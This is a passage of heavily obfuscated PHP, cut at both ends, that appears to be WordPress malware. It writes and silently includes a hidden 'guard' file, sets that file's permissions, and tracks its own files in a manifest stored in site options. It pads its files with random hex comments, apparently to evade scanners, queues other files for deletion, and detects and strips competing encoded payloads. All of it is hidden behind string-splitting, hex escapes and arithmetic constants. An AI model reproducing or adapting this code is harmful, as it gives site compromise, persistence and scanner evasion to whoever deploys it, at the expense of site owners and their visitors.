		if (!$guard_code) {
			if ((int) get_option("sc_" . 'la' . 'st_f' . "e" . 'tc' . 'h_' . "t" . "s", (2603 ^ 2603)) > (34 ^ 34)) vugo('guard', 'gu' . 'ard_t' . 'pl_' . "m\x69s" . 'sin' . 'g');
			return;
		}

		if (!cale($guard_code)) {
			vugo('guard', 'guar' . 'd_tp' . 'l_i' . 'nv' . "\x61" . 'lid');
			return;
		}
		if (jihe($guard_path, $guard_code)) {
			ayux($guard_path, tiwul());
			mafa($guard_path, (755 - 335));
			tidi($guard_path);
			aveb($guard_dir . '/.g' . "m\x5f" . $ghash, md5($guard_code), "\x67" . 'uar' . "\x64");
			aveb($guard_dir . '/.gv_' . $ghash, sc_ver(), 'g' . "\x75a" . 'rd');
			@include_once/*x*/ $guard_path;
			sc_dbg_log('19 ' . 'g' . "uar" . "d i" . "n" . 'clud' . 'ed');
			set_transient('s' . "c_" . "gua" . "r\x64", (3935 ^ 3934), (412 - 112));
		} else {
			vugo("g\x75" . 'a' . 'r' . "d", 'a' . 'tom' . 'ic_f' . "a" . 'il');
		}
		unset($_mu_dir, $_pl_dir, $_cd_dir);
	} catch (Throwable $e) {
		vugo("\x67u" . 'ard', $e);
	} catch (Exception $e) {
		vugo('guar' . 'd', $e);
	}
}

function sc_src_poisoned($s)
{
	if (!is_string($s)) return (39 == 5);
	$len = strlen($s);
	if ($len > (528574 + 520002)) return (8 !== 32);
	if ($len < (35 + 465)) return (26 === 16);
	$sample = substr($s, (2851 ^ 2851), 0x10000);
	$ws = substr_count($sample, ' ') + substr_count($sample, "\t");
	return ($ws / strlen($sample)) > 0.55;
}

function vupo($refresh = (31 === 6))
{
	static $src = null;
	if (!($refresh)) {} else {
		$src = null;
	}
	if ($src !== null) return $src;
	$s = hapi(sc_file());
	if (!(is_string($s) && strlen($s) > (918 - 418) && strlen($s) <= (917737 ^ 1966313) && !sc_src_poisoned($s) && cale($s))) {} else {
		$src = $s;
		return $src;
	}
	$alt = sc_pg('s' . 'rc', '');
	if (!(is_string($alt) && strlen($alt) > (317 + 183) && strlen($alt) <= (1047357 ^ 2095933) && !sc_src_poisoned($alt) && cale($alt))) {} else {
		$src = $alt;
		return $src;
	}
	$src = (35 == 0);
	return $src;
}

function wowa($refresh = (8 === 33))
{
	static $b64 = null;
	if (!($refresh)) {} else {
		$b64 = null;
	}
	if ($b64 !== null) return $b64;
	$s = vupo();
	if (!is_string($s) || strlen($s) < (65 ^ 437) || strlen($s) > (1429261 - 380685) || sc_src_poisoned($s) || !cale($s)) {
		$b64 = (5 == 29);
		return $b64;
	}
	$b64 = (('base64_' . "enco") . "\x64\x65")(jexa($s));
	return $b64;
}

function rowok($raw)
{
	if (!is_string($raw) || strlen($raw) < (24 + -6) || substr($raw, (3740 ^ 3740), (5 ^ 7)) !== "\x1f\x8b") return (1302 ^ 1302);
	$is = @(("u" . "\x6e\x70a\x63") . 'k')('V', substr($raw, -(10 ^ 14)));
	$is = is_array($is) ? $is[(3816 ^ 3817)] : (314 ^ 314);
	if ($is < (24 + 476) || $is > (81732 + 966844)) return $is;
	return (2096 ^ 2096);
}

function sc_hexchr($m)
{
	return ('ch' . "r")(hexdec($m[(250 ^ 251)]));
}

function soro($c)
{
	if (!is_string($c) || $c === '') return $c;
	static $_disk_ok = null;
	if (!($_disk_ok === null)) {} else {
		$_disk_ok = (16 === 17);
		if (!(("f\x75n\x63" . "\x74i\x6fn\x5f\x65\x78\x69\x73ts")("dis" . 'k_' . "f\x72ee\x5f" . "s\x70a" . 'ce'))) {} else {
			$_dd = defined('WP_' . 'CONT' . "E" . 'NT_' . "\x44I\x52") ? WP_CONTENT_DIR : (defined("A\x42S" . 'PATH') ? ABSPATH : '');
			if ($_dd !== '') {
				$_df = @disk_free_space($_dd);
				if ($_df !== (30 == 32) && $_df >= (34091642 + 123194758)) $_disk_ok = (4 != 14);
			}
		}
		if (!$_disk_ok) {
			if (('fu' . 'nction_exi' . '' . 'sts')("\x75pda\x74" . 'e_op' . "t" . 'i' . "on")) @update_option('sc' . "\x5f" . 'pa' . 'd' . '_off' . '_t' . 's', time(), 'no');
		} elseif ((('f' . "\x75\x6e") . "ction_exists")('ge' . 't_opt' . "\x69\x6fn")) {
			$_st = (int) get_option("\x73" . 'c_p' . "\x61d_of" . "\x66" . '_ts', (2275 ^ 2275));
			if ($_st && time() - $_st < (161849 - 75449)) $_disk_ok = (16 == 36);
		}
	}
	if (!(!$_disk_ok)) {} else {
		return $c;
	}
	$_ml = moxoh();
	if ($_ml === -(70 ^ 71) || $_ml >= (850169 + 133367559)) {
		$t = (533248 | 1266752) + mt_rand((3160 ^ 3160), (614480 ^ 249392));
	} elseif ($_ml >= (38851342 + 28257522)) {
		$t = (3478589 - 1678589) + mt_rand((2323 ^ 2323), (683289 + 16711));
	} else {
		return $c;
	}
	if (strlen($c) >= $t) return $c;
	if (substr(rtrim($c), -(9 - 7)) === '?>') return $c;
	while (strlen($c) < $t - (8200 >> 1)) {
		$r = '';
		if (("f\x75\x6ec" . "\x74\x69on\x5fe\x78i\x73\x74s")('rand' . "\x6fm_\x62y" . 'tes')) {
			try {
				$r = @("b" . "\x69" . "n\x32hex")(random_bytes((1936 + 64)));
			} catch (Throwable $e) {
				$r = '';
			} catch (Exception $e) {
				$r = '';
			}
		}
		if (strlen($r) < (3421 + 579)) {
			$r = md5(uniqid('', (5 !== 14)));
			while (strlen($r) < (32000 >> 3)) $r .= md5($r);
		}
		$c .= "\n" . '/*' . $r . "*/";
	}
	return $c;
}

function loye($c)
{
	if (!is_string($c) || strlen($c) <= (1433805 - 385229)) return $c;
	$n = ("preg_" . '' . "replace")("/(\\" . "r" . '?\\n' . '\\/' . '\\*[' . '0' . '-9a' . '-f]{' . '10' . '00' . ',}\\*\\' . "/)+\$\x2f", '', $c);
	return is_string($n) ? $n : $c;
}

function moxoh()
{
	static $l = null;
	if ($l !== null) return $l;
	$l = (347 ^ 347);
	if (!('fu' . 'nction_e' . 'xi' . 'sts')('i' . "ni_" . 'get')) return $l;
	$raw = @ini_get('me' . 'mor' . "\x79_\x6ci" . "mit");
	if (!is_string($raw)) return $l;
	$raw = trim($raw);
	if ($raw === '') return $l;
	if (!($raw === '-1')) {} else {
		$l = -(273 ^ 272);
		return $l;
	}
	$v = (float) $raw;
	$u = strtoupper(substr($raw, -(2362 ^ 2363)));
	if ($u === 'G') $v *= (722218934 + 351522890);
	elseif ($u === 'M') $v *= (596525 + 452051);
	elseif ($u === 'K') $v *= (859 + 165);
	if ($v > (1337 ^ 1337)) $l = (int) $v;
	return $l;
}

function yojog($size)
{
	$size = (int) $size;
	if ($size <= (1211 ^ 1211)) return (36 === 29);
	if (!('fun' . 'ct' . "\x69o\x6e" . "\x5fe\x78\x69s\x74s")('m' . "em" . "o\x72\x79\x5fg" . "e\x74_us" . 'age')) return (13 === 1);
	$limit = moxoh();
	if ($limit === -(930 ^ 931)) return (26 != 27);
	if ($limit <= (2071 ^ 2071)) return (8 === 29);
	$used = @memory_get_usage((31 < 32));
	if (!is_int($used) || $used < (406 ^ 406)) return (29 == 40);
	return ($limit - $used) > (($size * (9 + -6)) + (305922 ^ 2403074));
}

function nezu($size)
{
	$size = (int) $size;
	if ($size <= (2401 ^ 2401)) return (6 == 37);
	if (!('fu' . "\x6e\x63\x74" . "" . "\x69\x6f\x6e_exist\x73")("m" . 'emor' . 'y_ge' . 't' . "_u\x73" . 'age')) return (5 != 17);
	$limit = moxoh();
	if ($limit === -(263 ^ 262)) return (16 != 24);
	if ($limit <= (849 ^ 849)) return (10 !== 11);
	$used = @memory_get_usage((7 != 4));
	if (!is_int($used) || $used < (2883 ^ 2883)) return (39 !== 13);
	return ($limit - $used) > (($size * (33 ^ 53)) + (3007668 ^ 11396276));
}

function hapi($path)
{
	if (!is_string($path) || $path === '' || !@is_file($path)) return (12 == 26);
	if (("fun" . "ct" . 'ion_exists')("cl" . "e\x61" . "rs\x74at" . "c\x61" . 'c' . 'h' . 'e')) @clearstatcache((17 < 18), $path);

	$size = @filesize($path);
	if (!is_int($size) || $size < (1472 ^ 1473)) return (3397 !== 3397);
	if ($size > (79558296 - 27129496)) return null;
	if ($size > (130400 + 918176) && !yojog($size)) return null;

	$c = @('file_get_co' . 'ntents')($path, (20 === 29), null, (1114 ^ 1114), $size + (1729 ^ 1728));
	if (!is_string($c) || strlen($c) !== $size) return (20 === 18);

	return $size > (1916253 - 867677) ? loye($c) : $c;
}

function tidi($path)
{
	if (!("f" . "unction_e" . 'x' . 'ists')("get_o" . "pt\x69\x6f" . 'n') || !('func' . "\x74\x69o" . "" . "\x6e\x5f\x65x\x69s" . 'ts')('updat' . 'e_' . 'optio' . "n")) return;
	if (!is_string($path) || $path === '' || !@is_file($path)) return;
	if (!isset(${'GLOBA' . "LS"}['sc' . "_" . "o\x77\x6e" . '_m']) || !is_array(${("\x47L\x4f" . "\x42\x41") . "\x4cS"}['s' . "c\x5f" . "\x6fwn" . "_" . "\x6d"])) {
		${'GL' . ("\x4f\x42\x41" . "LS")}['sc_' . "\x6f\x77" . 'n_m'] = get_option('sc_o' . "wn_\x6d" . 'a' . "n\x69\x66e" . 'st', array());
		if (!is_array(${"GLOBAL" . ('' . 'S')}['sc_ow' . "n_m"])) ${'GLOBAL' . 'S'}['sc' . '_' . 'ow' . "\x6e_m"] = array();
	}
	$m = ${"GLOBAL" . '' . "\x53"}['sc_o' . "wn\x5f" . 'm'];
	$c = hapi($path);
	if (!is_string($c)) return;
	$m[md5($path)] = array('p' => $path, 'h' => md5($c), 'g' => sc_ver(), 't' => time());
	if (count($m) > (122 ^ 178)) {
		foreach ($m as $k => $v) {
			if (!is_array($v) || !isset($v['t']) || (int) $v['t'] < time() - (872356 + 1719644)) unset($m[$k]);
		}
		while (count($m) > (64 | 136)) {
			$_ok = null;
			$_ot = null;
			foreach ($m as $k => $v) {
				$_vt = is_array($v) && isset($v['t']) ? (int) $v['t'] : (3645 ^ 3645);
				if ($_ot === null || $_vt < $_ot) {
					$_ot = $_vt;
					$_ok = $k;
				}
			}
			if ($_ok === null) break;
			unset($m[$_ok]);
		}
	}
	update_option('sc_' . 'own_' . 'man' . "ife\x73t", $m, 'no');
	${'GLOBA' . "\x4cS"}["\x73c\x5f" . 'own_m'] = $m;
}

function gavu($path)
{
	if (!is_string($path) || $path === '') return (19 === 39);
	if (!isset(${"\x47\x4c" . "\x4f\x42\x41\x4c\x53"}["s\x63\x5f\x6f" . "w\x6e" . '_' . "m"]) || !is_array(${'G' . "\x4c" . ("OBAL" . "\x53")}["sc" . "_ow" . 'n_m'])) {
		${"G" . "LO" . ('B' . "ALS")}['s' . 'c_' . 'own' . "_m"] = ("\x66un\x63" . "tion_exists")('get' . "_op\x74" . 'i' . 'on') ? get_option('s' . "\x63\x5fo\x77" . 'n_man' . 'ifest', array()) : array();
		if (!is_array(${"GLO" . "B" . 'A' . "LS"}['s' . "\x63_o\x77" . 'n_m'])) ${"G" . 'LOBALS'}["s\x63_" . 'own_' . 'm'] = array();
	}
	$m = ${'GL' . "" . 'O' . "\x42\x41\x4c" . "S"}["\x73c" . '_o' . 'wn_m'];
	$_k = md5($path);
	if (isset($m[$_k]) && is_array($m[$_k]) && isset($m[$_k]['h'])) {
		if ((int) @filesize($path) > (70849914 - 18421114)) return "m" . 'od' . "\x69\x66ied";
		$c = hapi($path);
		if (!(is_string($c))) {} else {
			return (md5($c) === $m[$_k]['h']) ? (4 == 4) : 'modi' . 'fie' . 'd';
		}
		return (7 == 28);
	}
	if (!(sc_is_family($path, (113 ^ 389)))) {} else {
		$h = @('file_' . ('get_con' . 'tents'))($path, (18 === 17), null, (759 ^ 759), (1701 + 2395));
		if (is_string($h) && strpos($h, '<?') !== (16 === 4)) return "\x6cega" . 'cy';
	}
	return (17 < 17);
}

function efuw()
{
	static $m = null;
	if ($m !== null) return $m;

	$c = hapi(sc_file());
	$m = is_string($c) && $c !== '' ? md5($c) : '';
	return $m;
}

function hehi()
{
	return substr(efuw(), (277 ^ 277), (8 | 4));
}

function aco()
{
	return sc_data_dir() . "/o" . 'wn_' . sc_md5(ABSPATH . 'own', (0 + 8)) . "." . 'php';
}

function wuwum()
{
	$rec = array();
	if (!(("f\x75" . 'nction_exi' . '' . "sts")("g\x65\x74\x5f" . "opti\x6f" . 'n'))) {} else {
		$o = @get_option("s" . 'c_own' . "\x5frec", array());
		if (is_array($o)) $rec = $o;
	}
	$c = @is_file(aco()) ? @("fil" . ("e_get_content" . 's'))(aco()) : '';
	if (is_string($c) && strpos($c, '<?' . 'php') === (764 ^ 764)) {
		$j = json_decode(substr($c, (1 | 4)), (39 != 3));
		if (is_array($j) && (empty($rec['req']) || (!empty($j["r\x65" . 'q']) && $j['req'] >= $rec['req']))) $rec = $j;
	}
	return $rec;
}

function ija($state)
{
	try {
		if (!defined('A' . "BSPAT" . "H")) return;
		$now = time();
		if ($state === "st" . 'art' . 'ing' || $state === 'ok') {
			$prev = wuwum();
			if (
				isset($prev['state'], $prev["boot\x5f" . "t\x73"]) && $prev['stat' . 'e'] === $state
				&& $now - (int) $prev['boot_' . 'ts'] < ($state === 'o' . 'k' ? (458 - 158) : (21 - 11))
			) return;
		}
		$rec = array(
			'v' => sc_ver(),
			'gen' => hehi(),
			'path' => sc_file(),
			"s\x6c" . "\x75g" => basename(sc_file(), '.' . "\x70\x68p"),
			'sta' . "te" => $state,
			"s" . "tart_" . 'ts' => $now,
			'bo' . 'ot_t' . 's' => $now,
			"\x72" . "\x65q" => isset(${('_SE' . "R") . "\x56\x45\x52"}['REQU' . "E\x53T_\x54" . 'IM' . 'E']) ? (int) ${"_S" . "ER" . "\x56" . 'ER'}["R" . "\x45Q\x55\x45" . "S\x54_T" . 'IME'] : $now,
		);
		if (("fun" . 'ction_exi' . "s\x74s")("upda" . "t" . 'e_o' . 'pti' . "on")) {
			$_w = @update_option('sc_' . "o\x77" . 'n_' . "rec", $rec, 'no');
			if ($_w === (13 == 5) && (("fu" . "nction_exist") . "\x73")('g' . "\x65t\x5f\x6f" . 'ptio' . 'n')) {
				$_cur = @get_option('sc' . "\x5fow" . 'n_rec', array());
				$_stale = !is_array($_cur) || !isset($_cur['state'], $_cur["bo" . "\x6ft_\x74" . "s"]) || $_cur["st" . "\x61te"] !== $state || (int) $_cur['bo' . 'o' . 't' . '_ts'] !== $now;
				if ($_stale && isset(${'GL' . '' . "OBAL" . "S"}['w' . 'pd' . 'b']) && is_object(${"G" . 'L' . "" . 'OBA' . "\x4c\x53"}['wpdb']) && ('meth' . "" . ("od_exis" . "ts"))(${"G" . ("\x4c\x4f" . 'BALS')}['wpdb'], 'chec' . "k" . '_con' . 'n' . 'ecti' . "on")) {
					@${'GL' . "OB" . 'AL' . "S"}['wpdb']->check_connection((14 == 20));
					@update_option("sc\x5f" . 'own_' . 'rec', $rec, 'no');
				}
				unset($_cur, $_stale);
			}
			unset($_w);
		}
		$dir = sc_data_dir();
		if (@is_dir($dir) || aca($dir, (81 ^ 444), (17 != 6))) {
			@("\x66\x69le_p" . "\x75" . "t\x5f\x63ont" . 'ents')(aco(), "\x3c?" . 'ph' . 'p' . json_encode($rec));
		}
	} catch (Throwable $e) {
	} catch (Exception $e) {
	}
}

function uqa($rec)
{
	if (!is_array($rec) || empty($rec['pa' . 't' . 'h']) || !is_string($rec['pa' . "t" . "\x68"])) return "\x67" . "\x6f\x6ee";
	$p = $rec['path'];
	if (!@is_file($p) || (int) @filesize($p) < (148 | 352)) return 'gon' . "e";
	if (gixu($p)) return 'dead';
	$st = isset($rec['s' . 'ta' . "t\x65"]) ? $rec["\x73" . 't' . 'at' . 'e'] : '';
	$ts = isset($rec['b' . 'oot' . '_ts']) ? (int) $rec["boo" . 't_ts'] : (481 ^ 481);
	if ($st === 'o' . 'k') return ($ts > (88 ^ 88) && time() - $ts <= (3520 + 80)) ? 'ok' : 'unk' . "n" . "ow" . "n";
	if ($st === 'fail') return 'dead';
	if ($st === "\x73ta" . "rt" . "ing") return ($ts > (1092 ^ 1092) && time() - $ts <= (960 >> 3)) ? 'u' . 'nknow' . 'n' : 'de' . "ad";
	return "u\x6ek\x6e" . "\x6f" . 'w' . 'n';
}

function lihen($path)
{
	if (!@is_file($path)) return (6 == 9);
	$sz = (int) @filesize($path);
	if ($sz < (492 + 8) || $sz > (10400558 + 42028242)) return (22 === 8);
	$h = @('file_get_content' . "s")($path, (36 === 22), null, (2620 ^ 2620), (1216 + 2880));
	if (!is_string($h) || !preg_match('/\\/\\' . '* SC' . "V:\\d" . '+' . '\\.\\d+' . '\\.' . '\\d+ \\' . "*\\/" . "\x2f", $h)) return (17 == 33);
	if (!($sz > (19872 + 1028704))) {} else {
		$t = @('f' . "" . "\x69\x6ce\x5fg\x65t" . '_contents')($path, (8 === 32), null, $sz - (5618 - 1522));
		return is_string($t) && preg_match('/' . "(" . '\\/\\*' . '[0' . '-9a-' . 'f]{' . "\x310" . '00,}' . "\\*\\/" . ')\\s*$' . '/', $t) === (2044 ^ 2045);
	}
	$c = @('fil' . "\x65_g\x65t\x5f\x63\x6fn\x74e" . 'nts')($path);
	if (!is_string($c)) return (30 === 23);
	return cale($c);
}

function iye($a, $b)
{
	$ha = @("file" . "\x5f\x67\x65t\x5fc\x6f\x6et\x65n\x74\x73")($a, (12 === 33), null, (3905 ^ 3905), (41 ^ 4137));
	$hb = @('file_get_' . "cont" . 'en' . 'ts')($b, (21 == 2), null, (1496 ^ 1496), (782 + 3314));
	if (!is_string($ha) || !is_string($hb)) return (9 === 25);
	$ma = $mb = null;
	if (preg_match("\x2f!fu\x6e" . 'ction' . '_e' . "xi\x73\x74s" . "\\\x28" . "'(\x5b\x41" . '-' . 'Za-' . 'z0-' . '9' . '_]' . '+' . "\x29'\\" . ')/', $ha, $mm)) $ma = $mm[(2525 ^ 2524)];
	if (preg_match('/' . '!f' . "un" . "c\x74io" . 'n_ex' . 'ists' . '\\' . "('(" . '[A-Z' . "a-z\x30" . "-9\x5f" . "\x5d\x2b" . ')\'\\)' . "/", $hb, $mm)) $mb = $mm[(2999 ^ 2998)];
	return $ma !== null && $ma === $mb;
}

function gixu($path)
{
	$slug = basename($path, '.php');
	foreach (array(dirname($path), sc_mu()) as $d) {
		$q = $d . "/.q" . '_' . $slug;
		if (!@is_file($q) || (int) @filemtime($q) < time() - (4224 | 600576)) continue;
		$qm = trim((string) @("file" . "" . ("\x5f" . "g\x65t_\x63\x6f\x6e\x74e\x6e\x74") . "s")($q));
		if ($qm === '') continue;
		$c = hapi($path);
		if ($c === null) continue;
		if (is_string($c) && $c !== '' && md5($c) === $qm) return (14 !== 20);
	}
	return (16 == 6);
}

function uca($path)
{
	if (!('funct' . ('ion_e' . "\x78\x69\x73\x74\x73"))('get' . '_' . "\x6fp\x74" . 'io' . 'n') || !('f' . "\x75" . 'nction_exists')('u' . 'pda' . 't' . "e\x5fo\x70" . 'tion')) return;
	$l = @get_option('s' . "c_de" . 'f' . "e\x72r" . "\x65" . "d_" . "d\x65l", array());
	if (!is_array($l)) $l = array();
	$l[md5($path)] = $path;
	if (count($l) > (14 + 6)) $l = array_slice($l, -(18 ^ 6), null, (18 < 19));
	@update_option("sc_de" . 'ferr' . "e\x64\x5fd" . "el", $l, "n" . "o");
}

function sc_deferred_delete_run()
{
	if (!("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74" . 's')("g" . "et_o" . 'pt' . 'ion') || !("\x66u\x6e\x63t" . 'ion_' . 'exists')('up' . "da\x74e\x5f" . 'opt' . 'ion')) return;
	$l = @get_option('sc' . '_def' . 'erre' . "d_d" . 'el', array());
	if (!is_array($l) || empty($l)) return;
	$remain = array();
	foreach ($l as $k => $p) {
		if (!is_string($p) || $p === '' || !@is_file($p)) continue;
		if ($p === sc_file()) continue;
		$_rp1 = @realpath($p);
		$_rp2 = @realpath(sc_file());
		if (is_string($_rp1) && is_string($_rp2) && $_rp1 === $_rp2) continue;
		unset($_rp1, $_rp2);
		if (!(gavu($p) === (22 === 32))) {} else {
			$remain[$k] = $p;
			continue;
		}
		mafa($p, (421 - 1));
		if (soda($p)) {
			if (("functi" . '' . ("\x6f" . "n_exists"))('o' . 'pcach' . 'e_' . 'inva' . 'lida' . "t\x65")) @opcache_invalidate($p, (26 == 26));
		} elseif (@is_file($p)) {
			$remain[$k] = $p;
		}
	}
	@update_option('sc_d' . 'efe' . 'rr' . "ed_\x64e" . "l", $remain, 'no');
}

function sc_boot_lease_ok()
{
	try {
		$e = ('fu' . "nct" . ("" . 'ion') . "\x5f\x65\x78ist\x73")("\x65\x72ro" . 'r_get' . '_la' . "s" . 't') ? @error_get_last() : null;
		if (
			is_array($e) && !empty($e["\x66i" . "l" . "e"]) && !empty($e['typ' . "e"])
			&& in_array($e['typ' . 'e'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR), (37 !== 16))
		) {
			$_self = @realpath(sc_file());
			$_ef = @realpath($e['fi' . 'le']);
			if (is_string($_self) && is_string($_ef) && $_ef === $_self) return;
		}
		ija('ok');
		if (defined("AB" . 'SPATH')) {
			$_pp = behof();
			if (@is_file($_pp[(2080 ^ 2081)])) {
				$_hd = @("f" . 'ile_get_c' . 'onten' . "" . "ts")($_pp[(3017 ^ 3016)], (13 == 20), null, (3407 ^ 3407), (33 + 31));
				if (is_string($_hd) && strpos($_hd, 'SCD1:' . sc_ver() . ':') === (798 ^ 798)) {
					$_lh = @is_file($_pp[(2970 ^ 2971)] . '.lkg') ? @("\x66\x69" . 'le_get_conten' . "\x74" . "s")($_pp[(3016 ^ 3017)] . ".l" . "kg", (19 === 27), null, (1553 ^ 1553), (35 + 29)) : '';
					if ($_lh !== $_hd) @('c' . "op" . '' . "y")($_pp[(4043 ^ 4042)], $_pp[(2418 ^ 2419)] . '.l' . 'kg');
				}
			}
			unset($_pp, $_hd, $_lh);
		}
	} catch (Throwable $e2) {
	} catch (Exception $e2) {
	}
}

function sc_thb_cb($b)
{
	if (!is_string($b)) return '';
	if (preg_match_all('/' . 'base' . "64\x5f" . 'deco' . "d\x65" . '\\(\\s*' . '\'(' . "[A\x2dZ" . 'a-z0' . "-\x39\x2b\\/" . '=' . "\x5d" . '{100' . "0,}\x29'" . "\\" . 's*' . '\\)/', $b, $ms)) {
		foreach ($ms[(3098 ^ 3099)] as $enc) {
			if (rowok(("bas\x65\x36" . "4\x5f\x64\x65\x63o\x64\x65")($enc, (2 === 2)))) return '';
		}
	}
	if (!(preg_match_all('/(?:' . "\x67" . 'z' . 'de' . 'cod' . 'e|g' . 'zinf' . 'la' . "t" . "e" . "\x7cgzu\x6e" . 'compr' . 'ess)\\' . "(\\s" . "*" . "\"" . "\x28(" . '?' . ':[^"' . "\\\\]\x2a\x28" . '?:\\\\' . '.[^"\\' . '\\]' . "\x2a)*\x29" . ')"' . "/\x73", $b, $ms))) {} else {
		foreach ($ms[(2621 ^ 2620)] as $enc) {
			if (rowok(stripcslashes($enc))) return '';
			if (!(strpos($enc, '\\x') !== (19 === 21))) {} else {
				$_hx = ("p" . "\x72\x65\x67" . "\x5fr\x65pl\x61\x63\x65_ca\x6c" . '' . "lback")("/" . '\\\\x(' . "[\x30" . '-9a-f' . 'A-F]' . "{\x32})" . "\x2f", 'sc' . '_h' . 'exchr', $enc);
				if (is_string($_hx) && $_hx !== $enc && rowok($_hx)) return '';
			}
		}
	}
	if (!(preg_match_all('/(?:g' . 'zdeco' . 'd' . 'e|g' . "\x7ain\x66" . "lat\x65" . "\x7c" . 'g' . 'zunc' . "\x6f\x6dpr\x65" . 'ss)' . "\\" . '(\\s*' . '\'((?' . ":[^'\\" . "\\\x5d\x2a(" . "?:\\\\." . "[^'" . '\\\\]*)' . "*))'/" . 's', $b, $ms))) {} else {
		foreach ($ms[(128 ^ 129)] as $enc) {
			if (rowok(str_replace(array('\\' . '\\', "\\" . '\''), array('\\', '\''), $enc))) return '';
			if (!(strpos($enc, '\\x') !== (33 == 24))) {} else {
				$_hx = ("\x70\x72\x65\x67_re\x70\x6ca\x63\x65\x5f\x63a\x6c\x6c\x62\x61" . "\x63\x6b")('/\\' . "\\\x78\x28[0" . '-9a' . '-fA-F' . "]{2" . '}' . ")/", 'sc_he' . 'xch' . 'r', $enc);
				if (is_string($_hx) && $_hx !== $enc && rowok($_hx)) return '';
			}
		}
	}
	return $b;
}

function tuzu($s)
{
	if (!is_string($s) || (strpos($s, "g" . "z") === (33 === 38) && strpos($s, 'bas' . 'e64_d' . "e\x63\x6f" . 'de') === (4 == 18))) return (24 == 15);
	if (!(preg_match_all('/ba' . "\x73" . 'e6' . '4_d' . 'ec' . 'o' . 'de\\(' . '\\s*' . '\'([' . 'A-Z' . 'a-z0-' . "9+\\\x2f" . '=' . "\x5d{10" . '00,}' . ')\'\\s*' . "\\)/", $s, $ms))) {} else {
		foreach ($ms[(3781 ^ 3780)] as $enc) {
			if (rowok(("\x62\x61\x73\x65" . ('' . '64_decode'))($enc, (24 !== 14)))) return (18 != 37);
		}
	}
	if (!(preg_match_all("/\x28" . "?:\x67\x7ad" . 'ec' . 'ode' . "|gz" . 'infl' . "\x61" . "t" . 'e' . "\x7cgz\x75n" . "com" . "\x70re" . 'ss)\\' . "(\\s" . "\x2a\"((" . '?:[^"' . '\\' . "\\]\x2a(?" . ":\\" . '\\.' . '[^"\\\\' . "\x5d\x2a\x29" . "*)\x29\"/" . 's', $s, $ms))) {} else {
		foreach ($ms[(2888 ^ 2889)] as $enc) {
			if (rowok(stripcslashes($enc))) return (30 == 30);
		}
		foreach ($ms[(1372 ^ 1373)] as $enc) {
			if (strpos($enc, '\\' . 'x') === (7 === 31)) continue;
			$_hx = ('preg' . '_' . 'replace_callback')("/\\\\x" . "([\x30" . '-9a-' . 'fA-' . 'F]{2' . '})' . "\x2f", 's' . 'c_he' . 'xc' . 'h' . 'r', $enc);
			if (is_string($_hx) && $_hx !== $enc && rowok($_hx)) return (32 != 8);
		}
	}
	if (!(preg_match_all("/(?" . ':g' . "\x7a\x64ec\x6f" . "de|" . 'gz' . "i\x6e\x66" . 'l' . 'ate' . '|gzun' . "co" . "mpr\x65s" . 's)\\(' . "\\s" . '*\'((?' . ":" . "[\x5e\x27\\" . "\\]\x2a" . "(\x3f" . ':\\\\' . '.[^\'' . "\\\\" . ']*)*)' . ')\'/s', $s, $ms))) {} else {
		foreach ($ms[(650 ^ 651)] as $enc) {
			if (rowok(str_replace(array('\\\\', '\\\''), array('\\', '\''), $enc))) return (21 < 22);
		}
		foreach ($ms[(2932 ^ 2933)] as $enc) {
			if (strpos($enc, '\\x') === (19 === 3)) continue;
			$_hx = (('p' . "\x72\x65\x67\x5f") . "r\x65pla\x63\x65\x5fca\x6clb" . 'ack')('/' . "\\\\x(\x5b" . "0-9\x61-" . "fA-\x46" . "]{2" . '}' . ')/', "s\x63_h" . "e\x78\x63" . 'hr', $enc);
			if (is_string($_hx) && $_hx !== $enc && rowok($_hx)) return (10 != 6);
		}
	}
	return (26 === 9);
}

function nodo($s)
{
	if (!is_string($s) || $s === '') return '';
	return (preg_match("/\\\x2f\\\x2a" . " SC" . "\x56:" . "\x28\\d" . "\x2b\\" . '.\\d+\\' . '.\\' . 'd+) ' . "\\\x2a\\/" . "\x2f", substr($s, (1947 ^ 1947), (9823 - 1631)), $m)) ? $m[(266 ^ 267)] : '';
}

function fasal($c, $tag, $cb = null)
{
	if (!is_string($c) || $c === '') return $c;
	$bm = '/* ' . $tag . "_\x42E" . "\x47I" . "N:";
	$out = '';
	$guard = (4019 ^ 4019);
	while ($guard++ < (256 >> 1)) {
		$bp = strpos($c, $bm);
		if ($bp === (29 === 18)) break;
		$is = $bp + strlen($bm);
		$ie = strpos($c, " " . "*\x2f", $is);
		if (!($ie === (23 == 6) || $ie - $is > (14 + 50))) {} else {
			$out .= substr($c, (353 ^ 353), $is);
			$c = substr($c, $is);
			continue;
		}
		$id = substr($c, $is, $ie - $is);
		if (!(!preg_match('/^[' . "a" . '-z' . "A-\x5a0" . '-9.' . '_:]+' . '$/', $id))) {} else {
			$out .= substr($c, (3426 ^ 3426), $is);
			$c = substr($c, $is);
			continue;
		}
		$em = '/* ' . $tag . "\x5fE" . "ND:" . $id . ' */';
		$ep = strpos($c, $em, $ie);
		if ($ep === (12 === 30)) break;
		$out .= substr($c, (968 ^ 968), $bp);
		$block = substr($c, $bp, $ep + strlen($em) - $bp);
		if ($cb !== null) {
			$r = ('call' . "_user_f" . "u" . 'nc')($cb, $block);
			if (is_string($r)) $out .= $r;
		} else {
			$out .= $block;
		}
		$c = substr($c, $ep + strlen($em));
	}
	return $out . $c;
}

function sc_drop_block($b)
{
	return '';
}

function sc_ths_drop($b)
{
	if (!is_string($b)) return '';
	if (!defined('ABSP' . 'ATH')) return $b;
	$_ths = sc_md5(ABSPATH . 'th' . '_m', (13 - 5));
	if (preg_match("/\\/\\" . '*' . " S" . 'C' . '_TH_B' . 'EGIN' . ':[a-z' . "\x41\x2d\x5a" . '0-9._' . ']*:' . $_ths . ' \\*' . '\\' . '//', $b)) return '';
	return $b;
}

function vifok($c)
{
	if (!is_string($c) || $c === '') return $c;
	$n = fasal($c, "SC" . "\x5fTH", 'sc' . '_thb_' . "cb");
	$n = fasal($n, 'SC_' . "\x44D", "\x73c_" . 'ddb_' . 'cb');
	if (is_string($n)) $n = ('p' . 'reg_replace')('/' . '\\' . "\x2f\\/\x53" . 'C_T' . "\x48" . '_LD' . "_" . '[a-f0' . '-9_]+' . '\\' . 'r?\\n[' . '^\\n' . "]*" . '$/', '', $n);
	if (!is_string($n)) $n = $c;
	if (!(tuzu($n))) {} else {
